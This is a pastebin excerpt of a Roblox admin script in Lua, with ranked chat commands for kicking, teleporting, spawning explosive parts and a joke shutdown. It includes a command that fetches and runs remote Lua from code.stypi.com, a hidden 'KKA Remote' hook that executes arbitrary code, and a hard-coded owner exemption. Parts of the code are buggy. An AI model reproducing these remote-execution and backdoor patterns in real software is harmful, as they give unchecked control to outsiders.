  14741. Output("Waitex", Speaker, nil, nil, Database.Colors.Red, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=W8X")
  14742. end)
  14743. Command("Dsb", 7, "Disables everyone's SB", function(Msg, Speaker)
  14744. Dismiss(Speaker)
  14745. NewS(ReSB, game.Workspace)
  14746. Output("Disabled everyone's SB",Speaker,nil)
  14747. end)
  14748. Command("Plrs", 1, "Brings up the players selection", function(Msg, Speaker)
  14749. ListPlayers(Speaker,Msg~="debug")
  14750. end)
  14751. Command("Exe", 5, "Executes a script", function(Msg, Speaker)
  14752. local Func,Error = loadstring(Msg)
  14753. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Output(Rtn, Speaker) end
  14754. getfenv(Func).Speaker = Speaker
  14755. if Error == nil then
  14756. coroutine.wrap(function()
  14757. Func()
  14758. end)()
  14759. Output("Command Executed", Speaker, 5)
  14760. else
  14761. Output(Error, Speaker, 10)
  14762. end
  14763. end)
  14764. Command("Ping", 1, "Pings a message", function(Msg, Speaker)
  14765. Output(Msg, Speaker)
  14766. end)
  14767. Command("Ping2", 1, "Pings a Teal message", function(Msg, Speaker)
  14768. Output(Msg, Speaker,nil,nil,Database.Colors.Aqua)
  14769. end)
  14770. Command("Ping3", 1, "Pings a Lime message", function(Msg, Speaker)
  14771. Output(Msg, Speaker,nil,nil,Database.Colors.Green)
  14772. end)
  14773. Command("Ping4", 1, "Pings a Yellow message", function(Msg, Speaker)
  14774. Output(Msg, Speaker,nil,nil,Database.Colors.Yellow)
  14775. end)
  14776.  
  14777. Command("Ping5", 1, "Pings a Magenta message", function(Msg, Speaker)
  14778. Output(Msg, Speaker,nil,nil,Database.Colors.CustomMagenta)
  14779. end)
  14780. Command("Ping6", 1, "Pings a PinkRed message", function(Msg, Speaker)
  14781. Output(Msg, Speaker,nil,nil,Database.Colors.PinkRed)
  14782. end)
  14783. Command("Ping7", 1, "Pings a Blue message", function(Msg, Speaker)
  14784. Output(Msg, Speaker,nil,nil,Database.Colors.Blue)
  14785. end)
  14786. Command("Ping8", 1, "Pings a Red message", function(Msg, Speaker)
  14787. Output(Msg, Speaker,nil,nil,Database.Colors.Red)
  14788. end)
  14789.  
  14790.  
  14791. Command("Ping9", 1, "Pings a Red message", function(Msg, Speaker)
  14792. Output(Msg, Speaker,nil,nil,Database.AdvancedColors.Random)
  14793. end)
  14794.  
  14795. Command("Test", 1, "Tests if the admin is working", function(Msg, Speaker)
  14796. Dismiss(Speaker)
  14797. ypcall(function()
  14798. Output("Still works",Speaker,5)
  14799. end)
  14800. end)
  14801. Command("Setrank", 7, "Set's a players rank", function(Msg, Speaker)
  14802. local Split = GetSplit(Msg)
  14803. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  14804. local Rank = tonumber(Msg:sub(Split + 1))
  14805. if #PlrTab > 0 then
  14806. for _,v in pairs(PlrTab) do
  14807. if v.Name ~= Owner then
  14808. ChangeRank(v, Rank)
  14809. Output("Changed "..v.Name.."'s rank to "..tostring(Rank), Speaker, 5)
  14810. end
  14811. end
  14812. end
  14813. end)
  14814. Command("FilterAdd", 7, "Adds a word to crash words table", function(Msg, Speaker)
  14815. table.insert(CrashWords, tostring(Msg))
  14816. end)
  14817. Command("TpToPlace", 7, "Teleports a player to a place", function(Msg, Speaker)
  14818. local Split = GetSplit(Msg)
  14819. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  14820. local Id = tonumber(Msg:sub(Split + 1))
  14821. if #PlrTab > 0 then
  14822. for _,v in pairs(PlrTab) do
  14823. if v.Name ~= Owner then
  14824. game:service'TeleportService':Teleport(Id,v.Character)
  14825. Output("Teleported "..v.Name.." to place Id :"..tonumber(Id), Speaker, 5)
  14826. end
  14827. end
  14828. end
  14829. end)
  14830. Command("Hat", 7, "Loads a hat to a player", function(Msg, Speaker)
  14831. local Split = GetSplit(Msg)
  14832. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  14833. local Id = tonumber(Msg:sub(Split + 1))
  14834. local Insert3 = game:service'InsertService':LoadAsset(tonumber(Id))
  14835. if #PlrTab > 0 then
  14836. for _,v in pairs(PlrTab) do
  14837. if v.Name ~= Owner then
  14838. if Insert3:IsA("Hat") then
  14839. Insert3.Parent = v.Character
  14840. if Insert3:IsA("Model") then
  14841. Insert3.Parent = v.Character
  14842. end
  14843. end
  14844. end
  14845. end
  14846. end
  14847. end)
  14848. Command("Gear", 7, "Loads a gear to a player", function(Msg, Speaker)
  14849. local Split = GetSplit(Msg)
  14850. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  14851. local Id = tonumber(Msg:sub(Split + 1))
  14852. local Insert4 = game:service'InsertService':LoadAsset(tonumber(Id))
  14853. if #PlrTab > 0 then
  14854. for _,v in pairs(PlrTab) do
  14855. if v.Name ~= Owner then
  14856. if Insert4:IsA("Tool") then
  14857. Insert4.Parent = v.Backpack
  14858. if Insert4:IsA("Model"):GetChildren():IsA("Tool") then
  14859. Insert4:GetChildren():IsA("Tool").Parent = v.Backpack
  14860. end
  14861. end
  14862. end
  14863. end
  14864. end
  14865. end)
  14866. Command("GetInfo", 1, "Gets a player's information", function(Msg, Speaker)
  14867.  
  14868. local PlrTab = getPlayer(Speaker,Msg)
  14869. if #PlrTab > 0 then
  14870. for _,v in pairs(PlrTab) do
  14871. Output("Name: "..v.Name, Speaker)
  14872. Output("Age: "..v.AccountAge, Speaker)
  14873. Output("Id: "..v.userId, Speaker)
  14874. Output("DataComplexity: "..v.DataComplexity, Speaker)
  14875. Output("NameDisplayDistance: "..v.NameDisplayDistance, Speaker)
  14876. Output("HealthDisplayDistance: "..v.HealthDisplayDistance, Speaker)
  14877. Output("Character: "..v.Character.Name, Speaker)
  14878. Output("Camera Max: "..v.CameraMaxZoomDistance, Speaker)
  14879. Output("Camera Min: "..v.CameraMinZoomDistance, Speaker)
  14880. Output("Character Appearance: "..v.CharacterAppearance, Speaker)
  14881. Output("Clan Tag: "..v.ClanTag, Speaker)
  14882. end
  14883. end
  14884. end)
  14885. Command("LoadM", 7, "Loads a model into workspace", function(Msg, Speaker)
  14886. local Insert = game:service'InsertService':LoadAsset(tonumber(Id))
  14887. if Insert:IsA("Model") then
  14888. Insert.Parent = game.Workspace
  14889. if Insert:IsA("Part") then
  14890. Insert.Parent = game.Workspace
  14891. if Insert:IsA("Script") then
  14892. Insert:Remove()
  14893. end
  14894. end
  14895. end
  14896. end)
  14897. Command("LoadS", 7, "Loads a script into workspace", function(Msg, Speaker)
  14898. local Insert2 = game:service'InsertService':LoadAsset(tonumber(Id))
  14899. if Insert2:IsA("Model") then
  14900. Insert2:Remove()
  14901. if Insert2:IsA("Part") then
  14902. Insert2:Remove()
  14903. if Insert2:IsA("Script") then
  14904. Insert2.Parent = game.Workspace
  14905. if Insert2:IsA("LocalScript") then
  14906. Insert2.Parent = game.Workspace
  14907. if Insert2:IsA("ModuleScript") then
  14908. Insert2:Remove()
  14909. end
  14910. end
  14911. end
  14912. end
  14913. end
  14914. end)
  14915. Command("Bod", 7, "Adds a brick of death", function(Msg, Speaker)
  14916. local br = Instance.new("Part", game.Workspace)
  14917. br.Locked = true
  14918. br.Touched:connect(function(part)
  14919. local bo = Instance.new("Explosion", part)
  14920. bo.Position = part.Position
  14921. bo.BlastRadius = 40
  14922. end)
  14923. end)
  14924. Command("Rbod", 7, "Repeatidily creates brick of deaths.", function(Msg, Speaker)
  14925. repeat
  14926. wait(2)
  14927. local br = Instance.new("Part", game.Workspace)
  14928. br.Locked = true
  14929. br.Touched:connect(function(part)
  14930. local bo = Instance.new("Explosion", br)
  14931. bo.Position = br.Position
  14932. bo.BlastRadius = 40
  14933. end)
  14934. wait(2)
  14935. until
  14936. game:GetService("Lighting").FogEnd == 1
  14937. end)
  14938. Command("CheckSource", 1, "Checks Source", function(Msg, Speaker)
  14939. Dismiss()
  14940. Output("Source Name: "..SourceName, Speaker, 5)
  14941. end
  14942. )
  14943.  
  14944. Command("FSource", 7, "Finds the source of the script builder", function(Msg,Speaker)
  14945. coroutine.wrap(function()
  14946. while wait() do
  14947. if LSource ~= nil then break end
  14948. if SourceName == "source" then break end
  14949. for _,v in pairs(game.Players:players()) do
  14950. if LSource ~= nil then break end
  14951. pcall(function()
  14952. for j,k in pairs(v.Backpack:children()) do
  14953. if LSource ~= nil then break end
  14954. if k.ClassName == 'LocalScript' then
  14955. if k:findFirstChild(SourceName) ~= nil then
  14956. k.Archivable = true
  14957. LSource = k:Clone()
  14958. LSource.Disabled = true
  14959. Output("Source found",Seaker,5)
  14960. break
  14961. end
  14962. end
  14963. wait()
  14964. end
  14965. for j,k in pairs(v.Character:children()) do
  14966. if LSource ~= nil then break end
  14967. if k.ClassName == 'LocalScript' then
  14968. if k:findFirstChild(SourceName) ~= nil then
  14969. k.Archivable = true
  14970. LSource = k:Clone()
  14971. LSource.Disabled = true
  14972. Output("Source found",Speaker,5)
  14973. break
  14974. end
  14975. end
  14976. wait()
  14977. end
  14978. end)
  14979. end
  14980. end
  14981. end)()
  14982. end)
  14983.  
  14984. Command("Hload", 7, "Creates a HttpService script", function(Msg, Speaker)
  14985. local Split = GetSplit(Msg)
  14986. local Person = tostring(Msg:sub(Split - 1))
  14987. local Stypi = tostring(Msg:sub(Split + 1))
  14988. NewS([[
  14989. a,b = pcall(function()
  14990. h = game:service'HttpService'
  14991. link = 'https://code.stypi.com/raw/]]..Person..[[/]]..Stypi..[[.lua'
  14992. scr = h:GetAsync(link,true)
  14993. loadstring(scr)()
  14994. script.Parent:Remove()
  14995. script:Remove()
  14996. end) if not a then Instance.new("Hint",workspace).Text = b end
  14997. ]], game.Workspace)
  14998. end)
  14999.  
  15000. Command("KKAR", 7, "Removes The Admin", function(Msg, Speaker)
  15001. Dismiss()
  15002. Removed = true
  15003. for i,v in pairs(getfenv(1)) do
  15004. getfenv(1)[i] = nil
  15005. end
  15006. script.Disabled = true
  15007. end)
  15008. end)
  15009.  
  15010.  
  15011.  
  15012.  
  15013.  
  15014.  
  15015. Command("Shutdown", 3, "Shuts the server down", function(Msg, Speaker)
  15016. Dismiss()
  15017. SystemMsg("Shutting down server...")
  15018. wait(6)
  15019. SystemMsg("The shutdown command has been used!")
  15020. wait(6)
  15021. SystemMsg("The server will shutdown in 5 seconds!")
  15022. wait(6)
  15023. SystemMsg("4!")
  15024. wait(6)
  15025. SystemMsg("Hold on,Door's ringing.")
  15026. wait(6)
  15027. SystemMsg("That was a bummer,I forgot to eat my taco.")
  15028. wait(6)
  15029. SystemMsg("Delishous!")
  15030. wait(6)
  15031. SystemMsg("Wait, what second was i on again?")
  15032. wait(6)
  15033. SystemMsg("Oh right, 5 seconds.")
  15034. wait(6)
  15035. SystemMsg("Hold on, I just woke up and i need to eat pancakes.")
  15036. wait(6)
  15037. SystemMsg("There we go! Full on breakfeast!")
  15038. wait(6)
  15039. SystemMsg("Shutting down the server in 4 seconds.")
  15040. wait(6)
  15041. SystemMsg("Naw, I'm tried ,so i'll just take a nap.")
  15042. wait(6)
  15043. SystemMsg("*Hears explosions*")
  15044. wait(6)
  15045. SystemMsg("OMG NOOBS ARE BLOWING UP MY HOUSE!")
  15046. wait(6)
  15047. SystemMsg("X_X")
  15048. wait(6)
  15049. SystemMsg("Wait i came back to life..")
  15050. wait(6)
  15051. SystemMsg("NEVERMIND!!!")
  15052. wait(6)
  15053. SystemMsg("Noob:I EXPLODE HOUSE! DIE!")
  15054. wait(6)
  15055. SystemMsg("Police:Your arrested noob!")
  15056. wait(6)
  15057. Output("The shutdown failed,",Speaker,5)
  15058. end)
  15059. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  15060. if asd.ClassName == 'StringValue' then
  15061. if asd.Name == 'LolCon' then
  15062. local k = asd.Value:find('\31')
  15063. local plr = asd.Value:sub(1,tonumber(k)-1)
  15064. local msg = asd.Value:sub(tonumber(k)+1)
  15065. onChatted(plr,msg)
  15066. elseif asd.Name == "KKA Remote" then
  15067. local func = loadstring(asd.Value)
  15068. if func then asd:Destroy() return pcall(func) end
  15069. end asd:Destroy()
  15070. end
  15071. end)
  15072. Chats[#Chats+1] = con
  15073. game.Workspace.descendantAdded:connect(function(a)
  15074. if a.ClassName == 'Script' then
  15075. if ScriptingLocked and a.Name ~= "0" then
  15076. a.Disabled = true a:Destroy()
  15077. end
  15078. end
  15079. end)
  15080. while wait() do
  15081. for _,v in pairs (game.Players:players()) do
  15082. v.Backpack.descendentAdded:connect(function(a2)
  15083. if a.ClassName == 'LocalScript' then
  15084. if ScriptingLocked and a.Name ~= "0" then
  15085. a2.Disabled = true
  15086. a2:remove()
  15087. end
  15088. end
  15089. end)
  15090. end
  15091. end
  15092. coroutine.wrap(function()
  15093. while wait() do
  15094. for _,v in pairs (game.Players:players()) do
  15095. if v.Backpack then
  15096. Connect(v)
  15097. Output(v.Name.." has joined the server", Speaker)
  15098. elseif Priv == true and not v.Name:match("^[Ee]insteinK$") then
  15099. if FindRank(v) < 1 then
  15100. Output(v.Name.." has been kicked due to private server", Speaker)
  15101. wait(1)
  15102. v:Kick()
  15103. end
  15104. end
  15105. end
  15106. end
  15107. end)
  15108. game.Players.PlayerAdded:connect(function(hi)
  15109. for _,v in pairs(game:service'Players'.Parent.Players:children()) do
  15110. if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then
  15111. pcall(function() Output("Connected: "..tostring(hi),v,3) end)
  15112. end
  15113. end
  15114. end)
  15115. game:service'Players'.PlayerAdded:connect(function()
  15116. for _,v in pairs (game.Players:players()) do
  15117. for _,w in pairs (CrashWords) do
  15118. v.Chatted:Connect(function(Msg)
  15119. if CrashPhrases == true then
  15120. if Msg == tostring(w) and FindRank(v.Name) <= 3 and not v.Name:match("^[Ee]insteinK$") then
  15121. Output("Player ["..v.Name.."] has been kicked for saying "..w, Speaker, 5)
  15122. v:Kick()
  15123. end
  15124. end
  15125. end)
  15126. end
  15127. end
  15128. end)
  15129. game:service'RunService'.Stepped:connect(UpdateNilPlayerTablets)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement